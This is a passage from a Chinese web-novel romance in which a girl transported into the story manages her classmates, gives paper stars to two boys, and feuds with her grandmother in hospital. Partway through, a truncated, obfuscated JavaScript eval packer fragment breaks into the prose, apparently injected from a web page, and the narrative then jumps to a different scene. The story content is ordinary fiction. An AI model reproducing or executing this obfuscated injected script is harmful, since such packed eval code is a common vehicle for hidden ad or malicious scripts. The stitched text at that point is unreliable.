可你知不知道,我宁愿你和我实话实说…… 良久,时准抬起头,重新吸入肺腑的新鲜空气让他神智清醒了不少,视线重回光明,落到了墙根边即将燃烧殆尽的烟头。 ? . 南郊,游乐园。 夜晚的欢乐场比白天还要更热闹,各种大型游乐设施的灯光亮起,旋转木马像是放大版的八音盒,过山车从头顶的轨道呼啸而过,传来阵阵尖叫。 摩天轮慢慢转动,温初夏凝神俯瞰着城市繁华的夜景,忽然转头对面前的宋云泽说: “你知道吗?听说在摩天轮到达最高点的时候许愿,愿望一定会成真。” “真的?”宋云泽觉得很神奇,问:“这是什么习俗?” 温初夏真想甩他两个白眼:管他什么原理你一会儿直接跟我表白就行,难道我今晚暗示的还不够明显吗??! 她压制住内心的不爽,勉强扯出一个浅笑:“哈哈,不是习俗,只是大家都这么传……”你一个言情文男主难道就没看过言情小说吗! 她顿了顿,又问:“你一会儿想许什么愿?” 宋云泽思索片刻,忽然红了耳朵,低下头说:“其实今天能和你一起来游乐园,我特别特别高兴,这辈子从来没这么高兴过,如果还要再许愿的话,老天应该会觉得我这个人太贪心了,不会让我实现的。” 而温初夏就是要他贪心。 “这有什么的。”温初夏打趣地笑着,声音却隐隐透露出着急,她说:“你许一个呗,当着我的面许,老天不帮你实现,我来帮你实现。” “真的?!”宋云泽一脸惊喜地看着她。 温初夏笃定道:“当然了。” 随后心跳开始加速,她激动地想: 稳了稳了,只要等会儿宋云泽向我表白,提前完成男女主在一起的终极任务,我立马就把温家千金的马甲爆了,然后和宋云泽一起出国念书—— 或者他不跟着更好,反正英法美徳新加坡澳大利亚,随便哪个国家都……等等,德国还是算了。 总之我就是要离中国离S市离时准远远的,等霸总文的剧情线开始之后再回国,到那时候,时准应该早就把我这个忽然闯入他生活又忽然离开的神经病给忘干净了。 这样做,既可以阻止时准黑化,又可以让自己免于承担心理压力,一举两得! 温初夏简直想为自己鼓掌,到底是怎样聪明的大脑,才能能想出这么力挽狂澜的办法,胜利就在眼前,只要过了今晚,我就海阔凭鱼跃,天高任鸟飞,哈哈哈哈哈…… “别哈了,提前开香槟容易翻车知道不。”粉团子凉飕飕地提醒,“而且,宿主你电话在响诶。” 温初夏顿时不乐了,暗骂道:谁打来?真会挑时间。 拿出手机一看,居然是她那便宜老爸。 这座摩天轮的速度比较慢,温初夏看着离顶点还有大概一分钟的样子,犹豫了下,还是点了接听键。 “喂。” 电话那头传来温汝峰和蔼又虚伪的声音:“夏夏,你现在在忙吗?爸爸没有打扰到你吧?” 温初夏心里翻了个白眼,评价:人事儿不会干,人话倒挺会说。 她语气淡淡的:“不忙,找我什么事?” 温汝峰:“是这样,前天你奶奶心脏病犯了,虽然没什么大碍,但得在医院里静养个一周,你找个空闲的时间去探望一下她老人家吧,快两年不见了,你奶奶挺想你的。” 温初夏呵呵:想我?怕不是想我死吧,好给她的心肝宝贝乖孙子让路,重男轻女的封建余孽老妖婆,我宁愿去时准房间呆俩小时,也绝不去她的病房。 可“不去”两个字刚含在嘴里,准备吐出,脑海里忽然响起系统提示音—— “最新任务‘为生病的奶奶祈愿’已触发,请宿主制作一个许愿星星瓶,送给病房里的奶奶,并衷心地祝福她能够早日痊愈。” 我、日。 温初夏差点儿咬掉自己的舌头。 这尼玛什么鬼任务??! 是,我知道《等风》原著里女主温初夏从小就和她的奶奶相依为命一起生活,奶奶是她唯一同时也是最亲的家人,可两本小说融合之后,我用的是霸总文里女二温初夏的家庭背景啊! 系统你敢不敢先考虑一下实际情况再下任务呢我请问! 温初夏吞鱼刺一样把拒绝的话咽回肚子,忍辱负重、牙根发酸地说:“知道了,你把医院地址发我,我下周会去的,拜拜。” 挂断电话,对面的宋云泽急忙问:“怎么了?”咋还扯上医院了。 温初夏短言短语解释清楚,并且特意漏掉了她和那老妖婆关系并不好的事实,摩天轮马上就要升到顶点了,她怕耽误了正事。 “时间到了,许愿吧。” 少女目光恳切地看着眼前的男孩,双手紧张地抓住裙摆,神情无比期待。 “我希望……”男孩顿了顿,露出一个腼腆的笑,然后才继续往下说: “希望你奶奶能早日痊愈。” 刚才温初夏接电话时,宋云泽一直有在注意她的微表情,发现她一听见奶奶住院的消息,嘴角立刻垮了下去,于是临时改变了心愿。 殊不知此时的温初夏,在希望落空后,目光呆滞地移向玻璃窗外。 她在想:这个高度,我直接跳下去,应该能摔成一百零八块吧? 粉团子大叫:“宿主!冷静啊!!!” 22. 第 22 章 周一。 开学第一天的上午往往最难熬,第二节下课后,服装设计01班的教室里立刻“阵亡”一大片,趴在桌上补觉。 徐黎也不例外,上周周末徐大妮把她强行锁在家反省错误,还扬言要断她一个月生活费。 为了和她姐犟,徐黎干脆连房间门都不出了,两天两夜时间,她手机平板电脑各种软件游戏不分昼夜地换着玩,作息乱得跟鬼一样。 所以今天一早来学校,徐黎全程处于神游天外状态,上课老师讲了什么她一点儿也听不进去,所剩无几的精力全用来控制眯觉的时候不要让口水流出来。 就在她拿出香香的小枕头放在桌上,美滋滋地准备趴下睡觉的时候,后桌接水回来的同学忽然拍拍她的肩膀,说教室外有人找她。 徐黎差一点就炸了,深呼吸一口气,起身往后门走去,心里念叨究竟是哪个傻逼吃了熊心豹子胆了,敢耽误她下课睡觉,见面后自己肯定要先锤他一…… “温初夏??!” 刚硬起的拳头瞬间软了下去,困意也飞到了九霄云外,徐黎要吓死了—— 我靠这个疯女人怎么来了??! 她那天放狠话,说如果自己周五下午不去巷子里挨打,就要来教室门口堵我,居然,是真的?! 可徐大妮不是去了吗,啊啊啊她怎么还不放过我啊! 今天的温初夏没穿带有清荟校徽的标志性校服外套,一身白色衬衣+百褶裙的穿搭非常平淡,唯独那张脸依旧显眼。 她就懒散地靠在走廊的外墙上,见徐黎这么咋咋呼呼,抬起右手食指放在唇中,温馨提示: “声音小点儿,你是想把你们班同学都叫出来看热闹吗?” 徐黎又怂又气,更怕被别人看见了丢脸,只能压低声音道:“你来干什么?我警告你这里可是学校,你要是敢乱来,我、我……” “你怎样?”温初夏挑眉。 “……” 徐黎的脸色由白转红,忍辱负重之下,搬出终极杀手锏,掷地有声地说: “我就告诉老师去!” ……噗。 温初夏还以为她有什么大招等着自己,结果就这? 虽然徐黎的反应很有意思,但时间紧急,温初夏没功夫再逗小孩儿了,摊开手,直接道明来意:“放轻松好吗,我不是来找你干架的,是来请你帮忙的。” 请我?帮忙? 虽然糟糕的初印象让徐黎坚信,温初夏来找自己肯定没憋好屁,但又怕直接拒绝会被揍,所以,她采用了迂回战术,打算先问个清楚,再找借口。 “什么忙?” 温初夏拿出藏在身后的东西,是一个和小保温杯差不多大的玻璃瓶,里面没有装任何东西,瓶口盖着木塞,有点像十几年前流行那种的漂流瓶。 她说:“帮我折满一整瓶星星,下午放学之前送到清荟校门口的保安亭,动作搞快点。” 徐黎刚在想象里把自己武装成身穿盔甲、手拿盾牌的钢铁战士,结果对手居然直接反手掏她胳肢窝??? 这让徐黎瞬间丢盔卸甲,怀疑自己耳朵是不是坏掉了,上课时咬合力堪比非洲大鳄鱼的眼睛此刻一下子瞪的老大,她错愕道:“不儿,你来找我就为了这事啊?!” 而且折星星是什么难度系数很高的事情吗?我小学一年级就会的手工,你干嘛非得找人来折啊,自己又不是没有手! “不然呢。” 温初夏有些没耐心,大课间就半小时,她是偷溜出来的,一会儿还得赶回去上课呢。 于是她脸一冷:“或者你想让我找找其他事?” “诶别别别。”徐黎忙摆手拒绝,觉得头皮又在开始隐隐作痛,嘴角抽了抽,又道:“我只是觉得,你这个要求好像有点……” 清奇。 哪个道上混的人上门报仇的方式是让对方给折一瓶子纸星星啊,这是什么奇怪的癖好,还是网上说的那什么玩意儿……服从性测试? “报酬,2000。” 耶? 徐黎更懵了,眼睛瞪得像铜铃:咋还给钱呢??? 温初夏以为她这副表情是嫌少,于是把价格往上提了提:“5000?” 下一秒,手里的玻璃瓶被一把夺走。 “你放心,包在我身上。” 在金钱的诱惑下,徐黎立刻把自己前不久刚被温初夏压在地上薅头的事抛到了九霄云外,两眼放光地说:“我可会折星星了!” 温初夏一愣,然后拍拍她的肩膀,憋着笑说:“嗯,好好干啊。” …… 下午四点。 从保安室回教室的路上,温初夏全程都在后悔一件事情—— 她上午怎么就没有和徐黎说清楚,这个星星瓶不是她用来表白送人的,其最大的用处和归宿,大概是砸歪老妖婆的下颌角之后被当做凶器装进证物袋。 粉团子适时冒泡,恳切道:“宿主,咱可不能虐待老人啊,不仅不道德,而且毁人设。” “那我也绝对不会把这玩意儿送给她。” 温初一脸夏嫌弃地看着手里花里胡哨的破瓶子,考虑要不要把它扔进路边垃圾桶,因为一直拿着简直是种折磨。 也不明白徐黎那小丫头和她的小跟班们的脑回路是怎么长的,星星是用粉色和蓝色的纸折的就算了,还特么用各种蕾丝贴纸把玻璃瓶里里外外全装饰了一遍,扣都扣不掉! 自己要是真敢把这个星星瓶送给老妖婆,再微笑地祝她早日康复,今夜医院的太平间怕是要多个被自己亲孙女儿吓死的老太婆了。 不过嫌弃归嫌弃,温初夏到底还是没舍得扔,毕竟花了五千呢。 早知道当时就只加价五块了。 她一边肉痛,一边回教学楼。 快到教室门口时,她将穿着“公主裙”的玻璃瓶藏进衬衣里,冰凉的瓶身贴着紧实的腰腹,立刻惊起一层鸡皮疙瘩。 到座位坐下后,趁同桌的宋云泽不在,温初夏立刻以迅雷不及掩耳的速度把瓶子放进书包,不知道的还以为她是在做贼。 别怪她动作猥琐,要怪就怪这玩意儿实在太辣眼睛了,相比于让别人看见后,误以为自己是个拥有粉红色少女心的非主流,温初夏觉得猥琐一点儿也行,面子里子至少得保住一个是不是? 把见不得人的东西处理好后,温初夏感觉膀胱有些涨,大概是刚才被冰了一下的缘故,于是又起身去上厕所,思考着要不要放学了去另买一个瓶子。 可外包装能换,里面粉蓝色的星星又该怎么搞呢?拿墨水泡一泡似乎是个方法,但泡浮囊了怎么办? 粉团子“咦”了一声,嫌弃道:“宿主你别说了,好恶心啊。” 温初夏摁下冲水键,说:“哪儿有系统恶心。” 粉团子不说话了。 因为她不仅是系统的一部分,而且还是粉的,呜呜呜好伤心…… 放完水,温初夏走到教室后门,发现宋云泽还没回来,自己的座位却多了个弯着腰的女生,好像是在寻找什么东西。 温初夏微微一愣,反应过来后立刻大惊失色魂飞天外:“你在干什么?给我住手!” 但已经迟了,在说到“住”字的时候,苏筱筱就直腰站了起来,因为刚才一直埋着头,所以她的发型有些凌乱,原本一丝不苟压在耳后的鬓角全都漏到了前面,毛毛躁躁的。 而听到这句警告,苏筱筱半点儿没有偷翻别人书包的心虚,而是先皱眉看了看手里极繁主义的星星玻璃瓶,又抬头看向温初夏,那眼神所传达的意义明确到连傻子都能看懂—— 搞了半天,你偷偷摸摸就藏了个这??! 温初夏赶紧去抢,因为不想引人注意所以把声音压的很低:“你还给我!” 但苏筱筱个子比温初夏要高五公分,她一举起手臂,温初夏哪怕踮着脚都够不到,正考虑要不要直接把这人的胳膊卸下来,给她点苦头吃吃,老虎不发威你真当我是你好凯蒂吗。 结果这时,宋云泽回来了。 他看见两个女生在后门掐架,立刻把温初夏拉到自己身后护住,浓眉皱着,神色不虞地质问苏筱筱:“你想干什么?” 苏筱筱实打实地懵住了。 不是,听你这语气,难道是怕我欺负她? 拜托,求求你搞清楚好不好,老娘下手这么多次哪一次成功过,究竟是谁欺负谁啊!最特么烦你这种死恋爱脑…… 刚才还想卸人胳膊的温初夏此时却安静如鸡,甚至恨不得就地刨个缝钻进去。 经宋云泽这么一折腾,现在全班的目光都荟聚到了他们仨身上,当然也看见了苏筱筱手里辣眼睛的星星瓶。 温初夏快尬死了,心想早知道今天会出这档子事,自己上次就应该真从摩天轮上跳下来。 偏偏宋云泽这个时候还回头问自己:“她是不是抢你东西了?那瓶子是不是你的?” 温初夏闭眼深吸一口气,再睁开时,脸上扬起一抹羞怯的笑,对宋云泽说: “上次我不是在给你讲那道五角星黄金分割比的题的时候对你发脾气了吗,冷静下来后我想了想,觉得当时不该那么情绪化,所以就趁周末亲手给你做了这个,嗯……道歉礼物。” 她仰头看着宋云泽,眨眨眼睛,纤长的睫毛如蝶翼扑闪,两手背在身后,用只有他们两个人能听见的声音问: “怎么样,你喜欢吗?” 你喜欢吗,你喜欢吗,你喜欢吗…… 宋云泽感觉自己的身体好像变成一片辽阔空旷的山谷,整个世界只有这一句话在不断回响。 “我……当然喜欢了。” 说着,他从苏筱筱那里一把抢过属于自己的礼物,完全不在意对方被硬生生拽出了个趔趄,从身后踉跄而过,差点一头栽进后门的垃圾桶里。 “谢、谢谢你啊。”宋云泽高兴的有点儿语无伦次,脖颈迅速染上绯红,害羞的大眼睛时躲时闪,不敢和温初夏对视。 他倒豆子一样地说:“其实上次我没生气,真的,我觉得你骂的很对,虽然我确实进步得挺快,但和某些人相比,还是有很大差距的,我应该戒骄戒躁,继续努力才对。” 温初夏不知道“某些人”其实是特指的一个人,只知道自己对宋云泽这种言听计从的态度很满意,也就不再生他气了。 她唇角勾了勾,眼尾像挂了蜜糖的月牙,一张脸又纯又甜,轻易就把宋云泽撩的找不着北,笑得跟傻子一样。 因为离得近,全程目睹了这俩小动作的苏筱筱:“……” 你们把我当什么了? 小情侣PALY中的一环对吗? 苏筱筱再次体会到了气到心梗是什么感觉,之后的一整节课都在思考该怎么出掉这口恶气。 找人把温初夏揍一顿? 不行,她都找过两波人了,有男有女,没一次成功的。 想办法让温初夏在大庭广众之下丢人? 也不行,如果又像上次那样,不仅没能成功让温初夏丢脸,反而让她大出风头,苏筱筱真的会当场吐血。 想来想去,似乎只有一条路可走,那就去找作为校董的父亲帮忙,随便找个理由,取消温初夏赖以生存的奖学金。 但新的问题又来了,该找什么理由呢? 直到下课铃声响起,苏筱筱仍然在冥思苦想。 她单手托腮,目光漫无目的地四处晃荡,忽然,看见温初夏走到前面第二排的姜荞语身边,俯身和她简短地说了什么,而后离开。 温初夏是个两耳不闻窗外事,学海无涯苦作舟的人,在班里除了和宋云泽走的格外近之外,极少主动和人打交道,所以苏筱筱觉得很奇怪,起身去问个清楚。 “刚才温初夏和你说了什么?” 突然冒出的一句话把本就胆小的姜荞语吓了一跳,她下意识从板凳上站起,发现来的人是苏筱筱后脸色一变,一副不知道该怎么开口的纠结表情。 “她、她……”姜荞语小声嗫嚅,圆脸涨成苹果。 见她这种反应,苏筱筱心中顿时升起一股大事不妙的预感,凶巴巴地又重复了一边:“她跟你说什么了?” “她说……”小姑娘被凶的几乎要哭出来了,支支吾吾道:“她答应当下周我们学校和金士顿中学联谊活动的主持人。” 什么??! 苏筱筱大惊失色,一把抓住姜荞语的胳膊,厉声质问:“你们这次选的是温初夏?!” 姜荞语是学生会组织部的副部,每年清荟都会和几所国外的兄弟学校举办联谊活动。 像去年就邀请了美国圣奥尔本高中近六十名师生来清荟交流和参观,当时欢迎会的主持人是苏筱筱。 她英语口语很好,又有主持经验,英语单科成绩也名列前茅,父亲还是清荟最大的校董,是主持人的不二人选。 因为去年就是主持,苏筱筱理所应当地认为,今年的联谊活动,主持人也应该是自己才对。结果这些人居然背着自己偷偷联系了温初夏。 “为什么?”苏筱筱的表情有些扭曲。 其他人不选,偏偏选和自己针尖对麦芒的温初夏,苏筱筱很难不觉得学生会是在针对她。 姜荞语肩膀一抖,小心翼翼地解释说:“因为这次来的是英国的学校,国际交流处的老师们一致认为,选择一位英式英语说得好的主持人更能体现咱们对这次活动的重视,所、所以……” 没等她说完,苏筱筱就怒极反笑,轻轻点头说: “行啊你们,我就说离活动只剩一周时间了,怎么还不发给我主持稿呢,原来你们是在偷偷背着我搞小动作——我这就去找国际交流处的人问清楚!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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看的李书雪一阵窒息,有种闺蜜要跟黄毛跑了的感觉,连忙让她清醒: 【他哪儿帅了,论颜值,我觉得咱们学校还是一班的时准最顶,气质也比你那一头金毛长的像夜店男模的同桌要好十八条街】 …… 放学补完课后,一辆黑色的宝马i7停在巷子口。 温初夏下车后,宋云泽扶着车门探出头,问:“真不用我送你上楼?” “不用。” 温初夏把他脑袋摁回去,车门关上,转身指了指,“我就住在那栋楼,没两分钟就到了,你回去吧,记得把我勾的那几道题做了,不会的话就微信联系。” 宋云泽又把头伸出车窗,在确定她指的地方确实不远之后,才放心地点头,说:“好,那你小心点儿。” “嗯,拜拜,明天见。” 汽车驶离陈旧拥挤的街道,此刻太阳已然下山,但路灯还未亮起,室外有些昏暗,衬得周围的环境更加寡淡荒凉。 温初夏不由得加快了脚步,她一会儿还得去市中心的医院探望那个死老太……女二温初夏的奶奶。 至于星星瓶就不管了,她问过粉团子,那玩意儿只是个附加道具而已,不送的话也不会有什么大影响,顶多就是任务完成后该加的融合度数值会小点儿罢了。 温初夏边思考待会儿自己应该采取什么样的态度面对老太太,边快步往居民楼走去。 今天傍晚的风有些过于凉爽,简直跟从冰柜里吹出来的一样。 温初夏冷不丁打了个由内而外的寒颤,搓了搓胳膊上爆起的鸡皮疙瘩,心说这风太诡异了,她是个在大冬天只穿两件衣服都不觉得冷的人,居然会在五月份里打寒颤。 忽然,脚步猛地停住。 因为她家楼下,站了个人。 时准施施然转过身,青筋微凸的左手扯着书包的背带,一双漆黑如墨的眼睛在昏暗的环境下浮动着幽微的暗光,鼻梁高挺,唇角僵直,神色淡淡的,给人一种捉摸不透的感觉。 温初夏强行压下转身逃跑的冲动,扯出一个惊讶又尴尬的笑,问:“你怎么在这儿站着,等我吗?” “嗯。” 她站在原地不动,时准也不主动走到她面前来,两人就这样相隔四五米远远地开始对话,冷淡的声音被风吹到温初夏耳朵里,低沉的像一声叹息。 “我一放学就到这儿来了。” 那都两个半小时了啊。 温初夏克制地挑了下眉,眼神尴尬地乱飘一阵,因为心虚和紧张而放缓了语气,轻轻柔柔地问:“找我什么事?” “下午那件事,我听说了。” 温初夏乍一听有些懵:“什么事?” “你给宋云泽折星星的事。” “……” 十根jio指瞬间扣地。你特么特意来我家楼下找我就是为了说这个? 温初夏十分怀疑时准是不是存心的,存心想尬死她。 “所、所以呢?”鞋底快磨出火星子了。 少年左手松开背带,长腿一迈,两三步就走到温初夏面前。 他好像又长高了些,如同抽出新节的青竹,薄刃一般的肩胛骨撑起校服的肩线,垂眸看着她时,眼睑微微收敛,浓密的黑睫盖住眼尾,瞳仁被暮色染成深潭,潭心晃动着月影。 离得太近,温初夏甚至能看清时准睫尾沾着柳絮,对于他在这里干等了自己两个多小时有了更直观的实感。 她心里生起一股愧疚和心疼,正要开口道歉,面前这双眼睛却对她笑了一笑,仿佛是告诉她不用抱歉。 接着,薄唇轻启,他说: “我也想要。” 嗯? 温初夏没反应过来:“想要什么?” “星星啊。”时准又笑了,垂在身侧的手指轻捏关节,目光稍微偏移。 “宋云泽都有,我也想要。” 温初夏下意识去摸衣服口袋,同时道:“抱歉啊,我全送给他了,没有多的。” 虽然那些星星本来就不是给时准的,但说出这句话的时候,温初夏还是实打实的感到了抱歉。 就好像把答应给小朋友的玩具弄丢了一样,很罪孽。 听到这话,时准脸上的表情一下子变得非常失望,眼里的光骤然熄灭。 “可他都有……” 少年用一种悲怆的目光看着她,如同受了委屈的孩子,固执又难过地重复着自己所遭遇的不公:“为什么我没有?” 温初夏哑口无言,抬起刚才僵住的胳膊挠了挠后脑勺。 身为一名守护者,穿过这么多界面和角色,温初夏遇过的突发情况随便拉出来哪个都比现在要紧张百倍。 但此时此刻,她却完全陷入了茫然无措的状态,手垂下不知道往哪儿放,张了张嘴,也不知道该说些什么。 少年湿漉漉的眼睛小狗一样地看着她,轻轻叫道: “姐姐。” 我…… 温初夏只觉得自己被一只无形的大手扼住喉咙,几乎要背过气。 之前让你叫姐的时候你偏不叫,原来是在这儿等着我呢。 23. 第 23 章 温初夏叹了口气,算是彻底没辙了。 她把背后的书包撇到身前,拉开拉链,从夹层深处掏出了一颗非常粗糙,非常丑陋,五个角里有三个都被压扁了的纸星星。 这是她昨晚在网上搜了折星星的教程后,随便撕了页已经写完的英语报纸,裁成细长条,按照教程一步一步折成的。 折完后,温初夏就非常明智地放弃了要自己纯手工折满一整瓶的念头,因为成品实在是太丑了,而且她手笨,别说一晚上,就算给她十晚上也折不完。 看着递出去的纸星星,温初夏自己都觉得不忍直视,但时准却立刻绽出一个惊喜的笑,原本失落的情绪瞬间消散,像拨云见日一般,整个人都活了过来,很宝贝地把星星拿在手里。 “谢谢。”他的声音又低又小,听着有点像是在哭:“还以为没我的份呢……” 温初夏看着时准低垂的眉眼,挺直的鼻梁,眉骨斜斜地撑起一小片阴影,还是和初次见面时的一样温柔,心里忽然升起点疑惑—— 时准真的开始黑化了吗?可他看起来明明很正常啊。 而且很可怜。 我真的要这样一直躲着他,对他冷暴力吗? “眼睛。” “什么?”时准微微抬起头。 “诶,你别动。”说着,温初夏直接踮脚伸手,动作轻柔地,帮他把粘在睫毛上的柳絮捏下来。 感受到温初夏的忽然靠近,时准整个人像被按下定格键,从头到脚完全僵直,后颈的汗毛齐齐竖立,方寸大乱,草木皆兵。 听见她说别动,他就真的一点儿也不敢再动,只有心脏在不停撞击着胸腔。 “咚、咚、咚……” 如同圣钟回响,每一下都是叩击灵魂的祷文,浅薄的呼吸都化作了递送给神明的焚香。 “好了。” 两秒后,脚后跟落回,温初夏搓了搓手指,语气忽然变得俏皮又随和,就像从前那样:“你睫毛上有柳絮诶,不觉得痒的慌吗?” 明明磨眼的东西已经被弄掉了,时准却觉得鼻尖一阵发麻发酸,滚烫的湿意迅速涌入眼底。 他赶紧偏过头去,用力揉了揉通红的眼,低声道:“刚才没注意。” 看着他孩子气的反应,温初夏忍不住笑了,强硬了半个多月的心也彻底软了下来,抱着胳膊,揶揄说: “之前套路了你这么多回也没见你叫我一声姐,没想到一颗小星星就把你收买了,你呀……” 时准被打趣的有些不好意思,躲闪的目光落在温初夏身侧的自行车上,抬手捏捏自己又薄又红的耳垂,嘴角不可控制地扬起一抹羞怯但很高兴的笑。 他得寸进尺地问:“那你的意思是,只要我叫你姐姐,你就什么都会答应我咯?” 温初夏一愣。 虽然理智告诉她当然不行,但刚才时准的样子实在是太太太可怜了,简直跟下雨天公路边没人要的小狗一样,她不忍心再说出让他伤心的话,只能委婉道: “大部分都会吧——但你也不能太过分。” 时准立刻道:“什么样的要求才算过分?” 一双眼睛不再躲也不再藏,就这样直直地、迫切地看着她。 这架势,都不是得寸进尺了,得寸进里还差不多! 温初夏一时语塞。 她总不能直接对时准说,你不可以对我绑手绑脚,不可以把我关进密室,更不能不让我穿衣服这种话吧? 毕竟时准目前还没黑化的太厉害,仍然是一枚纯情可爱的男高中生,那些不忍直视千奇百怪的玩法,他可能连听都没听说过。 温初夏尴尬地眨了眨眼,慢吞吞道:“这个嘛……总之你不能损害到我的人身安全和人格尊严。” 人身安全=被囚禁 人格尊严=被扒光 “那当然不会了。”时准当她是在开玩笑。 温初夏心里却呵呵:少年,过来人劝你FLAG不要立太早。 目送温初夏上楼回家后,时准才转身往居民区外走。期间,他一直拿着这颗来之不易的星星,翻来覆去地看,嘴角始终带着笑,仿佛获得了最珍贵的宝贝。 在发现上面居然有字之后,时准纠结良久,最终还是抵抗不了好奇,小心翼翼将它拆开。 居然是一句完整的话—— “Behappy,”criedtheNightingale,“behappy;youshallhaveyourredrose.Iwillbuilditoutofmusicbymoonlight,andstainitwithmyownheart''s-blood.” (“快乐起来吧,”夜莺喊道,“快乐起来吧,你将拥有你的红玫瑰。我将用月光下的音乐铸就它,用我自己的心血染红它。”) …… 晚上七点。 医院旁的花店。 “你说那老妖婆有没有花粉过敏症啊?” 温初夏一边从摆满各色鲜花的货架之间漫步穿梭,一边在交流频道问粉团子:“你赶紧去查查看,如果有的话,那我就多买两捧,全给摆在病床前,熏死她!” 虽然粉团子并不赞成温初夏搞事情,但既然宿主有要求,身为客服的她还是乖乖地去查了。 不查不知道,一查吓一跳,没想到温初夏一语中定,霸总文里女二温初夏的奶奶居然真的对花粉过敏,并且还是最严重的那一类,过敏性休克,搞不好会死人的。 得知这个消息,温初夏表示十分遗憾。 虽然她是很想整一整那个封建余孽老太婆,但如果代价是要背负一条人命的话,那还是算了,得不偿失。 温初夏瘪瘪嘴,正准备离开花店去医院,忽然,她像是想到了什么,前进的步子停住,再后退,重新回到店里。 十分钟后,住院楼的电梯到达18层。 走出电梯,温初夏侧目看着墙上的病房号,一路来到1811的门口,抬手在虚掩的房门上敲了两下。 “进。”里面传来一道不算多苍老,但很尖锐的声音。 温初夏推门而入,同时脸上扬起一个没有感情全是技巧的假笑,用情绪饱满的声音抑扬顿挫地大喊一句: “奶奶——!” 这里是单人病房,宽敞且豪华,病床上的老太太正要喝水,闻声吓了一激灵,手里的杯子没拿稳,几滴水洒在了床单上,旁边的监护仪心率数据瞬间飙升。 接着,她眼睁睁看着自己那许久未见的孙女三步并两步地走到病床前,而手里捧着的东西居然是…… 温老太太一张保养得当的年轻老脸瞬间变得血色全无,她赶紧用没拿杯子的左手捂住抠鼻,厉声尖叫道:“给我滚出去!滚!” 监护仪开始发出哔哔的警报。 惨白的脸色又因为怒气而涨得通红,老太太举起保温杯,作势要向温初夏砸去,嘴里含糊地骂个不停: “你明知道我对花粉严重过敏,还故意送花给我,你这是要我死啊!我们温家怎么就生出了你这么个心狠手辣的不肖子孙,简直跟你那不要脸的妈一样……” 温初夏本来还在饶有趣味地欣赏七旬老太在线破防,一听对方居然骂到了宫羽斓头上,脸上的假笑瞬间消失不见。 “我妈怎么不要脸了?” 温初夏把手里开的正盛的百合用力砸进老太太怀里,神色堪称可怕,目光犹如两道锋利的冷箭。 对于有严重哮喘的人来说,这和被掰开嘴灌鹤顶红没有任何区别。 水杯掉落地发出重响,温热的清水泼洒开来,病床上的人当即白眼一翻,看似马上就要晕死过去,但怀中如同冻硬的蜡片一般发出“沙沙”声响的百合却在提醒,这是假花。 于是眼珠又翻回来。 被一个小辈整蛊,还整成功了,温老太太自觉面上有些挂不住。 她讪讪地把被子上的假百合扔到地上,冷哼一声,勉强找回作为长辈的威严和自信,正要说话,但还没开口就被打断—— 温初夏两手撑在床位的挡板上,表情阴沉地看着她,重复一遍:“你说说,我妈怎么不要脸了。” 她生气的样子实在可怕,老太太又紧张起来,两手悄悄抓紧被单,瞪眼骂道: “小兔崽子,你别以为我不知道,你那个妈不守妇道,说是在国外旅游,其实就是搞外遇去了……” “你儿子也搞外遇啊,你怎么不骂他不守夫道。”温初夏直起背,嘴角扯出嘲讽的弧度,又说: “而且,虽然我妈和别人谈恋爱,但她只有我一个孩子啊。可你儿子呢,不仅搞外遇包小三,还搞大了小三的肚子,和大贱货生出了一个小贱货,这么一比,他俩到底谁更不要脸?” “你!你怎么能说出这种话……” 一听温初夏居然敢骂自己的宝贝儿子和宝贝孙子,温老太太顿时怒不可遏,胸腔剧烈起伏,检测仪又叫起来。 她喘着粗气,随手抄起旁边桌上的卡通水杯,用力砸向温初夏。 但温初夏稍微一闪,轻易躲过了。 杯子是不锈钢的,砸到墙上没有碎,只是杯底凹进去了一点。 温初夏眼睁睁看着红蓝配色的水杯在地上可怜地滚了几圈,这种形状和配色的杯子只有小孩子才会用,猜到自己同父异母的便宜弟弟刚才应该就在病房。 于是她目光上移,有点好笑地挑眉问:“你是知道我要来,所以特意让那两个贱人提前离开了?” 被说中心思的温老太太有些尴尬,但既然温初夏已经猜到了,再隐瞒的话反而会显得自己心虚,她干脆別过脸道:“是又怎样?我就是不想让你见到小澈!” 老太太的情绪忽然激动起来,又看着一脸冷漠的温初夏,翻起旧账: “你不会忘了吧?你十岁那年,小澈才五岁,他第一次进温家的门,你居然就狠心在寒冬腊月数九寒天里把他推进结冰的水池,害他连续发了一周高烧,还落下了病根,一到换季就咳嗽——像你这种蛇蝎心肠,我怎么可能让小澈和你处在同一屋檐下?!” 哇哦,原来小时候的我就这么恶毒了呀。 温初夏在心里为自己点赞。 温老太太见她冷着脸不说话,那双目空一切、冷漠倨傲的眼睛不带一丝温度,好像世界上任何东西都不配入她的眼,简直和她那个盛气凌人的妈一模一样。 温老太太这辈子最恐惧、最厌恶的事情,就是被这对母女拿这种眼神看着,让她觉得自己仿佛就是个垃圾。 于是她疯了一样开始尖叫: “滚!赶紧给我滚!我没你这么恶毒的孙女,以后也别让我再见到你,快滚出去!” 这声音实在太过刺耳,温初夏听得直皱眉,抬手在左边太阳穴揉了揉,然后对几乎要怒发冲冠的老太太吐了下舌头。 她很欠打地说:“我偏偏要走出去,哼。” 说完,温初夏捡起地上的假百合,端端正正地放在电视下的矮柜上,又回头冲病床上的人露出一个挑衅的笑,这才在咒骂声中心满意足地离开。 “叮!” 刚出门,脑海里就响起系统提示音: “经检测,温奶奶的血氧浓度呈上升趋势,情绪活跃度明显提高,任务完成,界面融合度上升2%,目前界面融合度为85%,达到历史新高,请宿主再接再厉哦~” 噗。 温初夏笑了。 这也行??? 本来在打车来的路上,她就对完成这项任务不抱任何期待了,就是冲着吵架来的,没想到系统评判任务完成与否的标准居然是血氧浓度。 刚才那老太婆被自己气的都大喘气了,血氧浓度能不高吗哈哈哈哈…… 温初夏乐不可支,正想找个没人的地方偷笑一会儿,忽然,凌厉的眼睛眯了起来,好心情瞬间烟消云散。 走廊的尽头站着一对母子。 其中的女人身穿浅紫色的针织衫和一字裙,矮跟皮鞋,左手拿着保温桶,模样温柔可人。 身边的男孩个头只达到了她的肩膀,样子明显有些瘦弱,清荟初中部的制服裤子穿着他身上就跟铁丝套麻袋一样,松松垮垮的。 小身板,西瓜头,脸上还戴着口罩,只露出一双又黑又圆的大眼睛,也不知道究竟是感冒了,还是因为最近流感频发,怕在医院里被感染。 女人也发现了温初夏,面部肌肉像被无形的线绳猛然收紧,明明快要入夏,她却有种如坠冰窟的错觉,后背开始冒冷汗。 